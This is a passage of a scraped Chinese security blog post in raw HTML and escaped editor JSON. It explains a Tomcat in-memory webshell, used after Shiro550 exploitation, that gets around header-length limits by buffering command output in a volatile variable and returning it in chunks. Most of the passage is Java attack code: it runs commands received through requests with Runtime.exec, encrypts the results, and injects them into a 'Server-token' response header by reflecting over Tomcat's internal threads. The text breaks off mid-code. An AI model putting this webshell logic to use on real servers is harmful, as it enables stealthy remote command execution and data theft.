getRequest2();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hu2T-1660297165039&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nBCs-1660297165038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (cmd.length()&gt;0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9rtV-1660297165041&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cq86-1660297165040&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if(!cmd.startsWith(\&#34;getting\&#34;)){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FdG4-1660297165044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g02W-1660297165043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HN3e-1660297165046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tMsr-1660297165045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Runtime rt = Runtime.getRuntime();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iuvx-1660297165048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ty97-1660297165047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Process process = rt.exec(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EzvU-1660297165050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xqni-1660297165049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStream in = process.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QsJO-1660297165052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnBA-1660297165051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lwd5-1660297165054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIX2-1660297165053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1HzJ-1660297165056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qf4Z-1660297165055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFY0-1660297165058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MwZs-1660297165057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String s = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mud0-1660297165060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oj7V-1660297165059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String tmp = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FSYV-1660297165062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lbgz-1660297165061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while ((tmp = stdInput.readLine()) != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0MPH-1660297165064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a44V-1660297165063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        s += tmp;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kN7p-1660297165066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XYSY-1660297165065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OtFZ-1660297165068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Eu9C-1660297165067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (s != \&#34;\&#34;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aRwN-1660297165070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;stHK-1660297165069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                        byte[] res = s.getBytes(StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iYgx-1660297165072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k5ed-1660297165071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PutResponse(encode(DEFAULT_SECRET_KEY,s),resbuffer);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yHCP-1660297165074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJCH-1660297165073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        getResponse(\&#34;done!\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsDx-1660297165076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EU76-1660297165075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KqVr-1660297165078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yEpz-1660297165077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F8xs-1660297165086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TAlN-1660297165085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTyf-1660297165089&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;teRS-1660297165087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;19FM-1660297165091&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TXM2-1660297165090&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nPDS-1660297165093&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KppD-1660297165092&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2gjw-1660297165095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFQM-1660297165094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M39u-1660297165097&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p9vs-1660297165096&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String a = GetRes(resbuffer);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b5EN-1660297165099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2rJw-1660297165098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    getResponse(a);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TTvs-1660297165101&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w1yG-1660297165100&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GFKM-1660297165103&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kr3c-1660297165102&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1O0u-1660297165105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;acZp-1660297165104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YBfK-1660297165107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xnI1-1660297165106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BTXF-1660297165109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W1it-1660297165108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NlSo-1660297095154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wash-1660297095153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    &#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csPv-1660296741684&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FwnM-1660296741682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;效果如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uX7v-1660297482238&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/2/WEBRESOURCE485cc755c72fa39d596b5dd64fc7d9c2&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/2/WEBRESOURCE485cc755c72fa39d596b5dd64fc7d9c2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;leMr-1660123928109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fhez-1660123928107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1RHs-1660297482239&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6/WEBRESOURCE18c4a60b7bb659d55d8d87af1c7ff896&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6/WEBRESOURCE18c4a60b7bb659d55d8d87af1c7ff896&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fo38-1660296184531&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RvzA-1660296184529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4pHS-1660297482240&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/d/WEBRESOURCE0547e279d81ade0c2ad76de79ceb41dd&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/d/WEBRESOURCE0547e279d81ade0c2ad76de79ceb41dd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mV2A-1660296212221&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QfYg-1660296212220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8NAz-1660297482241&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/0/WEBRESOURCEa43fe41d63bebb74f7860a628e5b1af0&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/0/WEBRESOURCEa43fe41d63bebb74f7860a628e5b1af0&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zl1Y-1660296251236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xKtx-1660296251234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;读取完成：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nknz-1660297482242&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/1/WEBRESOURCEed32c9500b0be075bee4c17bb17e1ef1&#34;,&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/1/WEBRESOURCEed32c9500b0be075bee4c17bb17e1ef1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2632,&#34;height&#34;:1822},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tNAJ-1660296287239&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FJk2-1660296287238&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将获取的字符串拼接后解密：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYK7-1660297482243&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/9/WEBRESOURCEb9808ecc9cb83a78a5f0b4488e4c7c89&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/9/WEBRESOURCEb9808ecc9cb83a78a5f0b4488e4c7c89&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kKX6-1660296405541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WQuD-1660296405539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1UnF-1660294749560&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BDwm-1660294749558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KL4j-1660297518599&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K2MF-1660297518600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码写的很粗糙，因为本身非java出身，相关的buffer读写让我很头疼，花了一下午赶工出来的代码，主要是想分享一下思路。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t60i-1660297598762&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X9xq-1660297598760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;整体只是一个问题的临时解决方案，基于内存马或者其他用途，感觉也可用在某些request请求头过大的场景中（其实一开始打算写的，但是今天周五～）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none;"><p><br/></p><section style="line-height: 1.6em;"><span style="font-weight: bold;font-size: 28px;">正文</span></section><section style="line-height: 1.6em;"><span style="font-weight: bold;font-size: 28px;"><br/></span></section><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">之前看了Y4tacker</span>师傅的<span style="color: rgb(0, 56, 132);"><a href="https://y4tacker.github.io/2022/04/14/year/2022/4/" target="_blank">https://y4tacker.github.io/2022/04/14/year/2022/4/</a></span>浅谈Shiro550受Tomcat-Header长度限制影响突破/#0x02-浅谈新思路，有想过通过Thread线程单独开辟buffer用于储存response，后发现可直接通过<span style="font-weight: bold;">volatile</span>类型实现（其实是没在线程里找到本应开辟的buffer～）。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">概念</span></p><p>volatile 是 Java 中的关键字，是一个变量修饰符，被用来修饰会被不同线程访问和修改的变量。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">实现</span></p><p>修改内存马中的逻辑，在get cmd的操作处增加一层逻辑用于判断当前是执行命令还是读取回显。</p><p>思路很简单，直接见代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> getResponse(byte[] res) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                                ArrayList objects = (ArrayList) getField(getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;handler&#34;</span>), <span class="code-snippet__string">&#34;global&#34;</span>), <span class="code-snippet__string">&#34;processors&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp_object : objects) {</span></code><code><span class="code-snippet_outer">                                                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                                        RequestInfo request = (RequestInfo) tmp_object;</span></code><code><span class="code-snippet_outer">                                                        Response response = (Response) getField(getField(request, <span class="code-snippet__string">&#34;req&#34;</span>), <span class="code-snippet__string">&#34;response&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                        <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(res, <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                        response.addHeader(<span class="code-snippet__string">&#34;Server-token&#34;</span>, a);</span></code><code><span class="code-snippet_outer">                                                        Http11OutputBuffer buffer = (Http11OutputBuffer) getField(response, <span class="code-snippet__string">&#34;outputBuffer&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                        System.out.print(<span class="code-snippet__string">&#34;buffer add&#34;</span>);</span></code><code><span class="code-snippet_outer">                                                        <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                                                         } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                                                        <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                                    }</span></code><code><span class="code-snippet_outer">                                                }</span></code><code><span class="code-snippet_outer">                                            } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        }</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> GetRes(ByteBuffer buffer){<span class="code-snippet__comment">//从buffer中读取回显</span></span></code><code><span class="code-snippet_outer">            int ResponseSize = <span class="code-snippet__number">3000</span>;<span class="code-snippet__comment">//可从线程中获取header buffer的max-size来作为窗口大小，以加快读取速度。</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                byte[] a = <span class="code-snippet__keyword">new</span> byte[ResponseSize];</span></code><code><span class="code-snippet_outer">                buffer.get(a);</span></code><code><span 